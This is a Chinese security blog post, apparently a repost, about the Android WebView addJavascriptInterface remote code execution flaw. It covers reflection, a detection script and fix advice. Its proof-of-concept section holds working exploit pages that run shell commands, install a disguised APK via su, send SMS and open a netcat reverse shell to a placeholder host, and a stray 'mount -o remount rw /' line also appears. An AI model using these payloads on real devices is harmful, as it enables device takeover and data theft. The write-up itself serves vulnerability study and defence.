WebView远程代码执行漏洞学习并复现

一 前言


Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。
触发前提条件:
使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;
使用WebView加载外部网页或者本地网页;
Android系统版本低于4.2(Android API level 小于17);

二 漏洞原理


1 WebView简介
WebView可以简单理解为一个展示Web页面的界面,同时提供了一些简单的交互功能。在android<4.4中的WebView是基于Webkit实现的。其基本用法如下:
首先在配置文件中添加WebView控件
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"  
android:layout_width="match_parent"  
android:layout_height="match_parent" >  
<WebView  
android:id="@+id/web_view"  
android:layout_width="match_parent"  
android:layout_height="match_parent" />  
</LinearLayout>
然后在Activity中就可以直接使用了
 @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        webView = (WebView) findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.loadUrl("http://www.baidu.com");
    } 
这里我们就可以看到,页面上显示了百度首页。
2 漏洞代码实际情况
我们先来看一下漏洞代码
class JsObejct{
    @javascriptInterface
    public String toString(){
        return  "injectedObject";
    }
}

webView.addJavascriptInterface(new JsObject(), "injectObject"); //新建JsObject,并注入到js的injectObject字符串中
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())"); //webView中访问执行js代码,js中调用injectObject字符串的toString方法,
                                                                // 在后台代码中会被映射到JsObject对象的toString方法。
说明:从代码中我们可以看到,addJavascriptInterface往WebView中注入了一个Java Object,而这个Java Object的方法可以被js访问。通过这种方式,WebView中的js可以和本地App进行通讯,这确实是个很强大的功能。这么做的好处在于本地App逻辑不变的情况下,不需要升级App就可以对程序进行更新,修改相应的Web页面就可以了这里看来一切正常。
3 反射
反射是java语言提供的一种机制,使得java程序可以在运行时检查类、接口、方法和成员。
反射的功能:
对于任意类,可以知道其所有属性和方法;
对于任意对象,可以调用其任意方法;
我们通过以下两个示例来理解反射。
执行对象方法
import java.lang.reflect.Method;

class Demo{
    private void a1(){
        System.out.println("I am a1");
    }

    public void a2(){
        System.out.println("I am a2");
    }
}
public class hello {
    public static void main(String[] args){
        Demo demo = new Demo();
        Class mObjectClass = demo.getClass();	//获取Class对象
        System.out.println(mObjectClass.getName());
        Method[] methods = mObjectClass.getDeclaredMethods();//获取函数数组
        for (Method method:methods){
            System.out.println("method = "+ method.getName());
        }
        try{
            Object o = mObjectClass.newInstance(); //根据Class实例化对象
            methods[0].setAccessible(true);	
            methods[0].invoke(o);//调用o对象的method[0]方法

        }catch (Throwable e){
            System.out.println(e.toString());

        }
    }
}
输出结果:

由此可以可看到,我们利用反射成功调用了demo中的a2方法。
执行命令
import java.lang.reflect.Method;

class Demo{
    public void a1(){
        System.out.println("I am a1");
    }

    public void a2(){
        System.out.println("I am a2");
    }
}
public class hello {
    public static void main(String[] args){
        Demo demo = new Demo();
        Class mObjectClass = demo.getClass();
        System.out.println(mObjectClass.getName());
        Method[] methods = mObjectClass.getDeclaredMethods();
        for (Method method:methods){
            System.out.println("method = "+ method.getName());
        }
        try{
            Class c = mObjectClass.forName("java.lang.Runtime");
            Method m = c.getMethod("getRuntime", null);
            m.setAccessible(true);
            Object obj = m.invoke(null,null); //第一个参数为类的实例,第二个参数为相应函数中的参数
            Class c2 = obj.getClass();
            String array = "cmd.exe /k start calc";
            Method n = c2.getMethod("exec", array.getClass());//获得该类中名称为exec,参数类型为String的方法
            n.invoke(obj, new Object[]{array});调用方法n,第一个参数是类的实例,第二个桉树是相应的参数,以数组表示

        }catch (Throwable e){
            System.out.println(e.toString());

        }
    }
}
为了方便测试,在java中调用windows命令来启动计算器。

输出结果:
成功调用计算器。
获得Class对象的方式
Class c1 = hello.class;
Class c2 = c1.forName("java.lang.Runtime");//这种方式需要处理异常,否则会报错
Class c3 = new hello().getClass();

结论:有了以上的基础,我们知道,拿到对象之后,可以获取类对象,然后通过反射调用任意对象的任意方法。而在我们前面的漏洞代码中,由于访问的页面是不可控的,所以在访问危险页面时,如果页面中的js包含危险调用,如:injectedObject.getClass.forName(‘java.lang.Runtime’).getMethod('getRuntime',null).invoke(null,null).exec(cmd);此时App将会执行该cmd命令。早期的Android版本没有对可以访问的方法作限制,这就是该漏洞的根本成因。

三 检测方法

 在检测某个apk是否包含此漏洞时,我们只需要让它访问一个页面,该页面中的js遍历其windows对象然后判定getClass函数是否存在即可。
js示例代码如下:
function check(){
	for(var obj in window){
		try{
			if("getClass" in window[obj]){
				try{
					window[obj].getClass();
					document.write('<span style="color:red">'+obj+'</span>');
					document.write('<br/>');
				}catch(e){
					
				}
			}
		}finally{
			
		}
	}	
}
check();  
如果存在漏洞,那么在访问该页面时,会显示出其存在的漏洞对象名称。
mount -o remount rw /

四 漏洞POC


1)利用addJavascriptInterface方法注册可供JavaScript调用的java对象,结合反射机制调用Android API getRuntime执行shell命令列出指定文件
js示例代码如下:
 <script type="text/javascript">
   var i=0;
    function getContents(inputStream)
    {
      var contents = ""+i;
      var b = inputStream.read();
      var i = 1;
      while(b != -1) {
          var bString = String.fromCharCode(b);
          contents += bString;
          contents += "\n"
          b = inputStream.read();
      }
      i=i+1;
      return contents;
     }
    
     function execute(cmdArgs)
     {
      for (var obj in window) {
          console.log(obj);
          if ("getClass" in window[obj]) {
              alert(obj);
              return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
           }
       }
     } 
     
     var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]); 
	 document.write(getContents(res.getInputStream()));
</script>
让app访问该页面结果如下:


2)利用addJavascriptInterface方法注册可供JavaScript调用的java对象,结合反射机制调用Android API getRuntime执行shell命令进行挂马:a安装木马应用APK, b 安装执行ELF可执行程序(暂未测试安装apk)
示例代码如下:
<script type="text/javascript">
function execute(cmdArgs)
     {
         return inject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);//注意修改为自己的可供调用的java对象名称
     }
     var apk = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x62 \\xB9\\x15\\x30\\x3D\\x07\\x01\\x00\\x00\\x7C\\x01\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\x0D\\x00\\x00\\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x53------------------------------------------------------------ \\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x52\\x53\\x41\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x07\\x00\\x07\\x00\\xBA\\x01\\x00\\x00\\xB6\\x11\\x00\\x00\\x00\\x00";
     execute(["/system/bin/sh","-c","echo '"+apk+"'>/data/data/com.example.hello/fake.png"]);//自己测试的时候注意包名的修改,我测试的apk包名为com.example.hello
     execute(["chmod","755","/data/data/com.example.hello/fake.png"]);//包名修改
     execute(["su","-c","pm install -r /data/data/com.example.hello/fake.png"]);//包名修改
</script> 
结果如下:


3) (暂未测试)利用addJavascriptInterface方法注册可供JavaScript调用的java对象,利用反射机制调用Android API sendTextMessage来发送短信。
java代码
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");
EXP的JavaScript代码:
<html>
   <body>
      <script>
         var objSmsManager =     injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
          objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
       </script>
   </body>
</html>
4)(暂未测试)利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API getRuntime执行shell命令,达到反弹一个手机端的shell到远程控制端的目的:
EXP的 JavaScript代码:
<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }
         execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
       </script>
   </body>
</html>

四 漏洞修复建议


1.使用API Level高于16的Android系统
处于安全考虑,为了 防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响。google官方文档使用示例如下:
class JsObject {
   @JavascriptInterface
   public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");

2. API Level小于17的Android系统
建议不要使用addJavascriptInterface接口,以免带来不必要的安全隐患,请参照博文《在Webview中如何让JS与Java安全地互相调用》[6]。
如果一定要使用addJavascriptInterface接口:
1) 如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;
2) 如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
3) 如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性的校验;

3.移除Android系统内部的默认内置接口

WebView远程代码执行相关的漏洞主要有CVE-2012-6336,CVE-2014-1939,CVE-2014-7224, 这些漏洞中最核心的漏洞是CVE-2012-6336,另外两个CVE只是发现了几个默认存在的接口

CVE-2014-1939

java/android/webkit/BrowserFrame.java 使用addJavascriptInterface API并创建了SearchBoxImpl类的对象。攻击者可通过访问searchBoxJavaBridge_接口利用该漏洞执行任意Java代码:

Google Android <= 4.3.1 受到此漏洞的影响

CVE-2014-7224

香港理工大学发现两个新的攻击向量存在于android/webkit/AccessibilityInjector.java中,当系统辅助功能中的任意一项服务被开启后,所有由系统提供的WebView都会被加入两个JS objects,分别是”accessibility” 和”accessibilityTraversal” ,建议移除:

Google Android < 4.4 受到此漏洞的影响

参考文章



猜你喜欢

转载自blog.csdn.net/u012195899/article/details/68942725
今日推荐